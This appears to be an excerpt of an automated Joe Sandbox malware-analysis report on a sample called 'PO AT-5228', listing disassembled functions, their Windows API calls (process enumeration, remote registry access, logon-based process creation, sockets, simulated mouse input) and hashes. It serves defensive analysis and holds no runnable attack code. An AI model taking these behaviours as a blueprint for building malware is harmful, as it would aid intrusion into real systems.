MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00BA09CB
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00BA09F1
SysAllocString.OLEAUT32(00000000), ref: 00BA09F4
SysAllocString.OLEAUT32 ref: 00BA0A15
SysFreeString.OLEAUT32 ref: 00BA0A1E
StringFromGUID2.OLE32(?,?,00000028), ref: 00BA0A38
SysAllocString.OLEAUT32(?), ref: 00BA0A46

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: c07aa359213a5dfe24ce71bb22a5b539fda3b846c972379dfe919694ad8a221e
Instruction ID: 70688c270800100ad8630b8bc1713932f93344e7a90b493f760140490261b126
Opcode Fuzzy Hash: c07aa359213a5dfe24ce71bb22a5b539fda3b846c972379dfe919694ad8a221e
Instruction Fuzzy Hash: 05215675614204AFDB10EFA8DCC9DAB77ECEF19360B408165F919CB2A1DA71EC418764

Function 00BCA2C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00B7D1BA
Part of subcall function 00B7D17C: GetStockObject.GDI32(00000011), ref: 00B7D1CE
Part of subcall function 00B7D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B7D1D8

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00BCA32D
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00BCA33A
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00BCA345
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00BCA354
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00BCA360

Strings

Msctls_Progress32, xrefs: 00BCA2FE

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: a2e3048e9e6f3653eff9c9e54bd17f1810dad07da3dc4351030916423c3cc36f
Instruction ID: 82c9999b836bb39f2502ea0cc6754ce35fd0f97c9b1fc38528c00e886974fa47
Opcode Fuzzy Hash: a2e3048e9e6f3653eff9c9e54bd17f1810dad07da3dc4351030916423c3cc36f
Instruction Fuzzy Hash: 681193B155011DBEEF155F60CC85EEB7F6DFF09798F014114BA08A60A0C6729C21DBA4

Function 00B7CCCD Relevance: 9.3, APIs: 6, Instructions: 253COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00B7CCF6
GetWindowRect.USER32(?,?), ref: 00B7CD37
ScreenToClient.USER32(?,?), ref: 00B7CD5F
GetClientRect.USER32(?,?), ref: 00B7CE8C
GetWindowRect.USER32(?,?), ref: 00B7CEA5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 3457dfce1c1077817e082b105808c16f6b307e7e25c9e002f4db249de7328358
Instruction ID: 89218b3519f7503e80a41d1a37718a8927a63538b4a3051ada0336399255e1a1
Opcode Fuzzy Hash: 3457dfce1c1077817e082b105808c16f6b307e7e25c9e002f4db249de7328358
Instruction Fuzzy Hash: 8AB12B79900649DBDB10CFA8C5807EDBBF1FF08310F1495AEEC69AB254EB70AA50CB54

Function 00BC1BDF Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00BC1C18
Process32FirstW.KERNEL32(00000000,?), ref: 00BC1C26
__wsplitpath.LIBCMT ref: 00BC1C54

Part of subcall function 00B81DFC: __wsplitpath_helper.LIBCMT ref: 00B81E3C

_wcscat.LIBCMT ref: 00BC1C69
Process32NextW.KERNEL32(00000000,?), ref: 00BC1CDF
CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00BC1CF1

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
String ID:
API String ID: 1380811348-0
Opcode ID: 56007f572cbdb9a3c0709c4e4c88074e075c6faec2a43b148434bfdf3399662d
Instruction ID: 9bd5c0c28d3ae0e1458677c15b32dfd11676cd51f9d5b33046d1db5f8e4bf844
Opcode Fuzzy Hash: 56007f572cbdb9a3c0709c4e4c88074e075c6faec2a43b148434bfdf3399662d
Instruction Fuzzy Hash: 92515D715043409FD720EF24C885EABBBECEF88754F00496EF58AA7251EB70DA04CB92

Function 00BC2FD6 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BC2BB5,?,?), ref: 00BC3C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BC30AF
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00BC30EF
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00BC3112
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00BC313B
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00BC317E
RegCloseKey.ADVAPI32(00000000), ref: 00BC318B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 3451389628-0
Opcode ID: 80dbc3feb0dedeaee1561cd187526b1e84b2c40779bae25c6b2e97e03c894a0c
Instruction ID: 9af0b76db08ea17d818b6b0e8e7a69b933fd39abf0df30c2f534b93722cbd49c
Opcode Fuzzy Hash: 80dbc3feb0dedeaee1561cd187526b1e84b2c40779bae25c6b2e97e03c894a0c
Instruction Fuzzy Hash: 6F516C31608300AFC700EF64C895E6ABBF9FF89700F04899DF595972A1DB75EA05CB52

Function 00BC84DE Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00BC8540
GetMenuItemCount.USER32(00000000), ref: 00BC8577
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00BC859F
GetMenuItemID.USER32(?,?), ref: 00BC860E
GetSubMenu.USER32(?,?), ref: 00BC861C
PostMessageW.USER32(?,00000111,?,00000000), ref: 00BC866D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 880629846b5d73d61b6d99afbfe254d6d4e14604060e43699ebc8d2c8ca66736
Instruction ID: 0257b963ece2c2f2364c8a3d9b01b37f8feb8592086cc0f32cdfd66238ec0396
Opcode Fuzzy Hash: 880629846b5d73d61b6d99afbfe254d6d4e14604060e43699ebc8d2c8ca66736
Instruction Fuzzy Hash: 0F519D31A00615AFDF11EFA8C981EAEB7F4EF58310F1044A9E915BB351DF75AE418B90

Function 00BA4AC2 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BA4B10
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00BA4B5B
IsMenu.USER32(00000000), ref: 00BA4B7B
CreatePopupMenu.USER32 ref: 00BA4BAF
GetMenuItemCount.USER32(000000FF), ref: 00BA4C0D
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00BA4C3E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 00a53abca6b22355aa08da592370cb9ed099c2facbdd5c779828997330dbddb5
Instruction ID: d3436996cc140188b283f3143b8d1ecbf660ec9e6383c4ae4d261c39f625f708
Opcode Fuzzy Hash: 00a53abca6b22355aa08da592370cb9ed099c2facbdd5c779828997330dbddb5
Instruction Fuzzy Hash: F351D370609249EFCF20CF64C988BADBBF4EF86324F144199E4299B291E7F1D944CB61

Function 00BB8DE2 Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,00000001,00000000,00000000,?,000003E8,00BFDC00), ref: 00BB8E7C
WSAGetLastError.WSOCK32(00000000), ref: 00BB8E89
__WSAFDIsSet.WSOCK32(00000000,00000001,00000000), ref: 00BB8EAD
#16.WSOCK32(?,?,00000000,00000000), ref: 00BB8EC5
_strlen.LIBCMT ref: 00BB8EF7
WSAGetLastError.WSOCK32(00000000), ref: 00BB8F6A

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorLast$_strlenselect
String ID:
API String ID: 2217125717-0
Opcode ID: 61b37753a21c295dc998936141a47021b53633e9e2eb9df3d90e9895b817691c
Instruction ID: 6b419e6eaffa3ccd060e75f06b445b2c6c6247f7ed446365e78aae90c96669e4
Opcode Fuzzy Hash: 61b37753a21c295dc998936141a47021b53633e9e2eb9df3d90e9895b817691c
Instruction Fuzzy Hash: EC416E71600104AFCB14EB64C9D5AFEB7EEEB58310F104699F51A97291DFB4EE44CB60

Function 00B7ABF5 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00B7B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B7B35F

BeginPaint.USER32(?,?,?), ref: 00B7AC2A
GetWindowRect.USER32(?,?), ref: 00B7AC8E
ScreenToClient.USER32(?,?), ref: 00B7ACAB
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00B7ACBC
EndPaint.USER32(?,?,?,?,?), ref: 00B7AD06
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00BDE673

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: 003cf160d07936bbb37e9e383b61ce093fb4a91e8046d40bd7808cda9f1e5895
Instruction ID: 25923f1cc20dca5338bdde13be057e103830c1587683b3ef9b8997df2cf66b1f
Opcode Fuzzy Hash: 003cf160d07936bbb37e9e383b61ce093fb4a91e8046d40bd7808cda9f1e5895
Instruction Fuzzy Hash: 54419371104201AFC721DF24DC84F7E7BE8EB59320F1846A9F9A88B2A1D7719945DB62

Function 00BCE397 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00C21628,00000000,00C21628,00000000,00000000,00C21628,?,00BDDC5D,00000000,?,00000000,00000000,00000000,?,00BDDAD1,00000004), ref: 00BCE40B
EnableWindow.USER32(00000000,00000000), ref: 00BCE42F
ShowWindow.USER32(00C21628,00000000), ref: 00BCE48F
ShowWindow.USER32(00000000,00000004), ref: 00BCE4A1
EnableWindow.USER32(00000000,00000001), ref: 00BCE4C5
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00BCE4E8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: a12675204d87bffd70a8e7a54b465daa070497abd4257b103602cf27d33918f9
Instruction ID: b6a9d1618646c62f4b31ce45580f4c901aacc6ad305fbf76dd59db533ff27d71
Opcode Fuzzy Hash: a12675204d87bffd70a8e7a54b465daa070497abd4257b103602cf27d33918f9
Instruction Fuzzy Hash: 49413E34601141EFDB2ACF24C499FA87BE1FF09304F5881E9EA698F2A2C771E841CB51

Function 00BA98BA Relevance: 9.1, APIs: 6, Instructions: 100fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00BA98D1

Part of subcall function 00B7F4EA: std::exception::exception.LIBCMT ref: 00B7F51E
Part of subcall function 00B7F4EA: __CxxThrowException@8.LIBCMT ref: 00B7F533

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00BA9908
EnterCriticalSection.KERNEL32(?), ref: 00BA9924
LeaveCriticalSection.KERNEL32(?), ref: 00BA999E
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00BA99B3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00BA99D2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 2537439066-0
Opcode ID: 8a8a13554fafb644854bdf8d4621b706777ea2e476487ca9ee889b5c54a4310c
Instruction ID: 8a303c6592b0e924c7e3cf4733b8f5ddb0c0cfb1a3f9da777b344a7c834efc95
Opcode Fuzzy Hash: 8a8a13554fafb644854bdf8d4621b706777ea2e476487ca9ee889b5c54a4310c
Instruction Fuzzy Hash: 5A318F31A00105AFDB00AFA5DC85EAFB7B9FF45310B1480A9F914AB286DB74DE10DBA5

Function 00BB9B45 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00BB77F4,?,?,00000000,00000001), ref: 00BB9B53

Part of subcall function 00BB6544: GetWindowRect.USER32(?,?), ref: 00BB6557

GetDesktopWindow.USER32 ref: 00BB9B7D
GetWindowRect.USER32(00000000), ref: 00BB9B84
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00BB9BB6

Part of subcall function 00BA7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00BA7AD0

GetCursorPos.USER32(?), ref: 00BB9BE2
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00BB9C44

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: bb7f1925da394e9e9a97b67e5f3cbe58500b2d6be59d2dcc14b7689b51a94d65
Instruction ID: 5cba41ff0755ac5588dd90b0cadfade21baae686c118b2a88f4066bde58baace
Opcode Fuzzy Hash: bb7f1925da394e9e9a97b67e5f3cbe58500b2d6be59d2dcc14b7689b51a94d65
Instruction Fuzzy Hash: 5B31C172208355AFC720DF14DC89FAAB7E9FF89314F00096AF695D7191DAB1E904CB91

Function 00B9AF64 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00B9AFAE
OpenProcessToken.ADVAPI32(00000000), ref: 00B9AFB5
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00B9AFC4
CloseHandle.KERNEL32(00000004), ref: 00B9AFCF
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00B9AFFE
DestroyEnvironmentBlock.USERENV(00000000), ref: 00B9B012

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: c707903b4af00e10a975cac71a232c66e6d88926c56159adacb230d711b69fe2
Instruction ID: d8e6851dd3b5ead1426e4ba24e2f770fb840d0858ec82b1955b0212e9681782e
Opcode Fuzzy Hash: c707903b4af00e10a975cac71a232c66e6d88926c56159adacb230d711b69fe2
Instruction Fuzzy Hash: 7A215E72100249AFDF128F94ED89FAE7BE9EF44304F144065FA01A6161C7B69D21EBA1

Function 00BCEBF6 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00B7AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00B7AFE3
Part of subcall function 00B7AF83: SelectObject.GDI32(?,00000000), ref: 00B7AFF2
Part of subcall function 00B7AF83: BeginPath.GDI32(?), ref: 00B7B009
Part of subcall function 00B7AF83: SelectObject.GDI32(?,00000000), ref: 00B7B033

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00BCEC20
LineTo.GDI32(00000000,00000003,?), ref: 00BCEC34
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00BCEC42
LineTo.GDI32(00000000,00000000,?), ref: 00BCEC52
EndPath.GDI32(00000000), ref: 00BCEC62
StrokePath.GDI32(00000000), ref: 00BCEC72

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: ac3d2492cf65be73c7ce8d5d01722da2d2725e45e41655482bbe9ade303d5d7b
Instruction ID: 692a1aa0b4cfd4ace9f00943e39d49de6d4c58d58a0ca0e3e8dd5ff0039e067b
Opcode Fuzzy Hash: ac3d2492cf65be73c7ce8d5d01722da2d2725e45e41655482bbe9ade303d5d7b
Instruction Fuzzy Hash: 77110C72000149BFDF119F90DC88FDA7F6DEB08360F048156BE189A161D7719D55DBA0

Function 00B9E19B Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00B9E1C0
GetDeviceCaps.GDI32(00000000,00000058), ref: 00B9E1D1
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B9E1D8
ReleaseDC.USER32(00000000,00000000), ref: 00B9E1E0
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00B9E1F7
MulDiv.KERNEL32(000009EC,?,?), ref: 00B9E209

Part of subcall function 00B99AA3: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,00B99A05,00000000,00000000,?,00B99DDB), ref: 00B9A53A

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CapsDevice$ExceptionRaiseRelease
String ID:
API String ID: 603618608-0
Opcode ID: 369525c4e19bfb91a4a6ab3d6b207e02f24c628882ef796df71a8ff57f018d41
Instruction ID: 465b3a950918bdab93f65673512d0eca78275a5546dae73cf7c3ba71e375700a
Opcode Fuzzy Hash: 369525c4e19bfb91a4a6ab3d6b207e02f24c628882ef796df71a8ff57f018d41
Instruction Fuzzy Hash: 180184B5A00254BFEF109BA58C45B5EBFB9EF48751F044066EA04AB290DA719C00CB60

Function 00B87B47 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00B87B47

Part of subcall function 00B8123A: __initp_misc_winsig.LIBCMT ref: 00B8125E
Part of subcall function 00B8123A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00B87F51
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00B87F65
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00B87F78
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00B87F8B
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00B87F9E
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00B87FB1
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00B87FC4
Part of subcall function 00B8123A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00B87FD7
